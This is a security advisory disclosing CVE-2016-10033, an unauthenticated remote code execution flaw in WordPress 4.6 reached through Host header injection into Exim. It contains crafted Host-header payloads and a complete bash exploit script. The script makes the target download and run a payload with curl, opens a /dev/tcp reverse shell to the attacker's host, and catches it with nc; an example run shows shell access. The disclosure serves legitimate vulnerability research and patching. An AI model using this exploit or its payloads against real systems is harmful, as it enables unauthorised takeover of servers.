============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-10033 - Release date: 03.05.2017 - Revision 1.0 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (default configuration, no plugins, no auth) II. BACKGROUND ------------------------- "WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress was used by more than 27.5% of the top 10 million websites as of February 2017. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites." https://en.wikipedia.org/wiki/WordPress III. INTRODUCTION ------------------------- This advisory reveals details of exploitation of the PHPMailer vulnerability (CVE-2016-10033) in WordPress Core which (contrary to what was believed and announced by WordPress security team) was affected by the vulnerability. The Remote Code Execution attack could be used by unauthenticated remote attackers to gain instant access to the target server on which a vulnerable WordPress core version was installed in its default configuration which could lead to a full compromise of the target application server. No plugins or non-standard settings are required to exploit the vulnerability. This advisory reveals new exploitation vectors for PHP mail() function discovered by the author that allow to exploit the vulnerability on a most popular MTA (Mail Transfer Agent) - Exim which can be found installed by default on many system such as Debian or Ubuntu, as opposed to rarely used Sendmail MTA that has been thought to be a requirement for mail() injection attacks to date. Due to critical severity of this vulnerability, disclosure of new exploitation vectors that increase the range of this type of attacks, and the ease of mass exploitation, the release of this advisory was delayed by an extended period of time to allow WordPress and other potentially affected software vendors enough time to update affected mail libraries. The release was also delayed to allow WordPress team more time for patching another WordPress vulnerability (CVE-2017-8295) which will be described in detail in a separate advisory shortly. IV. DESCRIPTION ------------------------- The following snippet of code from WordPress 4.6 - file wp-includes/pluggable.php: if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name ); shows that WordPress sets the email domain based on SERVER_NAME server header when WordPress wp_mail() function is called to send an email (e.g. upon user registration, forgotten password etc.). As we can see the from address is formed as follows: $from_email = 'wordpress@' . $sitename; It is then filtered and passed to a vulnerable setFrom() function of PHPMailer which was explained in detail in the previous advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html Injection ============== SERVER_NAME server header can be manipulated on default configurations of Apache Web server (most common WordPress deployment) via HOST header of a HTTP request. To illustrate, here is a request and response of a simple php script vars.php that simply prints out relevant parts of server headers ($_SERVER PHP array): GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ... As we can see, INJECTION string appended to the hostname in HOST header gets copied to both HTTP_HOST and SERVER_NAME PHP variables. Using this HOST header example, if an attacker triggered wp_mail() function by using the forgotten password WordPress feature, the HTTP request would be similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password and would result in the following parameters passed to /usr/sbin/sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenialinject] What is interesting here is the 3rd parameter. The domain part of the email matches the HOST header of the request, except for lower-case "inject". Bypassing the filters ======================= To exploit the PHPMailer's mail() injection vulnerability, an attacker would have to be able to append parameters to the domain part. However, the filtration/validation in place (both on the wordpress side as well as PHPMailer library side) would prevent the attacker from injecting white-characters (such as space or TAB) and therefore from injecting parameters to sendmail binary. For example, if attacker modified the HOST header to the following: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE the validation would result in invalid domain part error and WordPress application would exit with http response of: HTTP/1.0 500 Internal Server Error In which case wp_mail() and therefore the vulnerable PHPMailer functions would never be reached (sendmail binary would not be executed). The validateAddress() function of PHPMailer library as well as PHP's filter_var/FILTER_VALIDATE_EMAIL are both complient with RFC 822 standard as we can read at: http://php.net/manual/en/filter.filters.validate.php which prohibits spaces in the domain part and thus prevents injection of additional parameters to /usr/sbin/sendmail. It should be noted that the technique of injecting additional \ backslash characters to the username part of the email presented in PHPMailer advisory: http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html would not be an option for the attacker as username part of the from address cannot be controlled in this case. RFC 822 and comment syntax -------------- Looking at the RFC 822 specs however, a potential way to bypass the validation was found. According to: https://www.ietf.org/rfc/rfc822.txt email addresses can contain comments: " 3.4.3. COMMENTS A comment is a set of ASCII characters, which is enclosed in matching parentheses and which is not within a quoted-string The comment construct permits message originators to add text which will be useful for human readers, but which will be ignored by the formal semantics. Comments should be retained while the message is subject to interpretation according to this standard. However, comments must NOT be included in other cases, such as during protocol exchanges with mail servers. " The document gives an email example of with comments in brackets: ":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA as a valid email. A simplified comment example within the domain part would be: john@example.com(comment) After further testing, it turned out that comment part can contain spaces in the domain part, and could be used as a way to bypass the validation of the domain part and inject additional parameters to sendmail binary. Injecting parameters via comment syntax ---------------- The following request with the HOST header set to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2) will not cause errors and will result in the following parameters supplied to sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)] As we can see, We have managed to bypass filters/validation provided by Wordpress filter: apply_filters( 'wp_mail_from_name', $from_name ); As well as PHPMailer's internal setFrom() validation. We now have control over the 4th parameter ('injected') and can inject more parameters inbeetwen arg no.3 and no.5 if necessary. In theory we should now be able to inject additional parameters to /usr/sbin/sendmail wrapper to achieve arbitrary code execution. Code Execution via Sendmail MTA ================================= To date, the only known way of achieving remote code execution via PHP mail() exploitation relied on Sendmail MTA being present on the target system. The most common Sendmail MTA vector is similar to: -OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php It typically writes out a log file with a php backdoor contained within the input message. There are 2 problems with this technique however: 1) Sendmail MTA is not commonly used anymore as we can verify by looking at the statistics at: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html which show that Sendmail is the least popular among Linux MTAs. It does not ship with any modern Linux distribution and it is not very likely for it to be found installed on a target. 2) The Sendmail technique presented above would not work in the case of the WordPress vulnerability discussed in this advisory. As previously mentioned, hostname copied to SERVER_NAME server variable gets converted into lower-case and therefore injecting Sendmail parameters in a request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2) would result in the follwing set of sendmail arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)] Sendmail would fail with an error as arguments are case-sensitive and neither -q nor -x would work. Code execution via Exim4 MTA ================================= While researching the other vulnerabilities in email sending libraries (see previously published advisories for PHPMailer, ZendMail, Swiftmailer), the author of this advisory discovered a new way to achieve command execution with the help of Exim MTA that was previously thought to be immune to mail() injection attacks. This technique has been documented in the white-paper : "Pwning PHP mail() function For Fun And Remote Code Execution" The ability to execute commands through Exim4 MTA opens up many possibilities in regards to exploitation not only of already disclosed vulnerabilities in PHPMailer and other email libraries, but also in regards to mail() function exploitation in general as Exim4 is the most popular MTA available by default on popular Linux distributions such as Debian. The survey confirms the popularity of exim: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html This increases the chances of it being present on the remote target and is ideal for a reliable proof of concept exploit of the vulnerability presented in this advisory. Direct code execution with Exim4 MTA -------------------------------- The discovered Exim MTA vector, in its most basic form works in the following way: sendmail -be '${run{/bin/true}{true}{false}}' true The -be switch enables string expansion testing mode. The above expansion executes /bin/true and returns the value from the brackets based on the exit code. Similarly, the expansion: sendmail -be '${run{/bin/bash -c "id"}{yes}{no}}' would execute id command. Note: on systems with Exim4, /usr/sbin/sendmail is just a symlink: /usr/sbin/sendmail -> exim4 and has nothing to do with Sendmail MTA. Sendmail MTA is not required to be present on the system for the technique to work. What is very powerful about this vector is that command execution can be achieved in a reliable way directly through the $run expansion specified as an argument and does not require writing files to /var/www/html or guessing directory paths which is the case in already known Sendmail MTA vector. HOST header restrictions ---------------------------------- The seemingly simple Exim4 vector turned out to be tricky in practice since the presented above expansion string would not work within HOST header. A HTTP request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2) would be rejected by Apache webserver due to / (slash) character present within the HOST header. The $run function would not work without it as it requires a full path to the binary that is being executed (suggesting that exim4 uses exec() to run it and does not execute commands through system() ). Bypassing restrictions ============================== To bypass restriction of the HOST header several methods were attempted by studying available Exim expansion strings at: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html Embeded perl ---------------------- One of the expansions that was considered was: ${perl{foo}{argument1}{argument2} ... } however perl is not enabled by default on Exim and therefore would not make the exploit reliable. Encoding --------------------- The family of base64 and HEX encoding/decoding functions were tested but they did not seem to be supported by exim4 used for testing and would result in errors such as: sendmail -be '${base64d:QUI=}' Failed: unknown expansion operator "base64d" Substrings & Environment variables --------------------- Another idea was to use known environment variables in combination with substrings to extract forbidden slash character. For example, the PATH environment variable contains slash: PATH=/bin:/usr/bin and therefore was a good candidate. ${env{PATH}} could be used to retrieve the variable and when connected with $substring expansion, slash could be obtained as can be seen in the following command: sendmail -be '${substr{0}{1}{${env{PATH}}}}' / Unfortunately, this technique led to a dead-end as environment variables such as PATH when inserted within HOST header would be converted to lower-case and thus not work under Linux. Substrings & internal exim4 variables -------------------------------------- With trial and error, the following variable was found to work as expected: sendmail -be '${spool_directory}' /var/spool/exim4 The spool_directory variable is present by default, and does not have capital letters and therefore would work reliably. The slash character could now be replaced with: ${substr{0}{1}{$spool_directory}} to bypass the slash restriction of the HOST header. The following expansion: sendmail -be '${run{/usr/bin/touch /tmp/test}}' Could now be converted to: sendmail -be '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}' This worked fine under terminal however when tested within a HTTP request: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) it would result in the following sendmail parameters: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)] As we can see, the expansion payload got broken into 2 arguments 5 & 6 instead of one. This prevented Exim from executing the payload properly. The problem was caused by spaces between command parameters (e.g. space after 'touch') Replacing spaces ------------------ First the environment variable IFS was considered, however environment variables would not work properly as previously tested. After further research a convenient internal exim variable was found: sendmail -be '${tod_log}' 2016-01-02 23:49:42 the tod_log variable returns current date in format that contains a space. Similar to the slash replacement, $substring + $tod_log variable could be used to replace the space as was tested with: sendmail -be '${substr{10}{1}{$tod_log}}' PoC HTTP request / minimal PoC exploit ==================================== POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password The above request when sent to WordPress core application would cause exim to be called with the following arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)] which would execute: /usr/bin/touch /tmp/test on the target and create a file /tmp/test as tested on WordPress 4.6. Using this payload logic a working exploit was built which executes a reverse shell on the target. V. PROOF OF CONCEPT EXPLOIT CODE ------------------------- #!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit # CVE-2016-10033 # # wordpress-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski (@dawid_golunski) # https://legalhackers.com # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # # Exploit src URL: # https://exploitbox.io/exploit/wordpress-rce-exploit.sh # # # Tested on WordPress 4.6: # https://github.com/WordPress/WordPress/archive/4.6.zip # # Usage: # ./wordpress-rce-exploit.sh target-wordpress-url # # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulns/exploitation? # # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: # .dxxxxxdl;. ., .. .;cdxxxxxx: # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. # .':oxxxxxxxxx.ckkkkkkkkxl,. # .,cdxxxxx.ckkkkkxc. # .':odx.ckxl,. # .,.'. # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0 Video PoC ~~~~~~~~~~~~ https://www.youtube.com/watch?v=ZFt_S5pQPX0 Example run ~~~~~~~~~~~~~~~ # ./wordpress-rce-exploit.sh http://wp-host/wordpress/ .;lc' .,cdkkOOOko;. _______ ., ________ ________ _______ \ ___/_ ____ '___\ /_____\ _______\_ _/_ / _/ \\ \/ / __/ // | \_____// \ /_________>> < __/ / /-\ ____ / \ _______/ <___/\___> /________/ /_______> .ddc;,,:c;. ,c: .cxxc:;:ox: .dxxxxo, ., ,kMMM0:. ., .lxxxxx: .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: .dxxxxxdl;. ., .. .;cdxxxxxx: .dxxxx ________ ____ _____ xxxxx: .':ox \ /_ ________\ \/ / xxc,. . / / \\ > < x, / / | / /\ \ \_________<_______<____> \____> .':odx.ckxl,. .,.'. | ExploitBox.io | + --=| Wordpress Core - Unauthenticated RCE Exploit | + --=| | + --=| Discovered & Coded By | + --=| Dawid Golunski | + --=| https://legalhackers.com | + --=| | + --=| "With Great Power Comes Great Responsibility" | + --=| * For testing purposes only * | [*] Sure you want to get a shell on the target 'http://wp-host/wordpress/' ? [y/N] y [*] Guess I can't argue with that... Let's get started... [+] Connected to the target [+] Payload sent successfully [+] Payload executed! [*] Waiting for the target to send us a reverse shell... Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 39232) bash: cannot set terminal process group (10408): Inappropriate ioctl for device bash: no job control in this shell www-data@xenial:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@xenial:/$ exit exit exit Exiting... VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, a remote unauthenticated attacker would be able to execute arbitrary code on the target server and compromise the target application. VII. SYSTEMS AFFECTED ------------------------- The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected. The advisory presents the exploitation on the example of Exim MTA, the author has also developed another exploit that can also be used on other MTA software. The exploit will be shared shortly after this advisory. VIII. SOLUTION ------------------------- Update to the latest version of WordPress. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io Vulnerable WordPress version used for testing/exploitation: https://github.com/WordPress/WordPress/archive/4.6.zip Exploit code: WordPress Core 4.6 - Unauth Remote Code Execution PoC Exploit Video PoC: https://www.youtube.com/watch?v=ZFt_S5pQPX0 WordPress security team announcement: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Vendor site: https://wordpress.org Related advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html X. CREDITS ------------------------- The vulnerabilities and exim mail() injection vector presented in this advisory were discovered by : Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io XI. REVISION HISTORY ------------------------- 03.05.2017 - Advisory released, rev. 1 XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.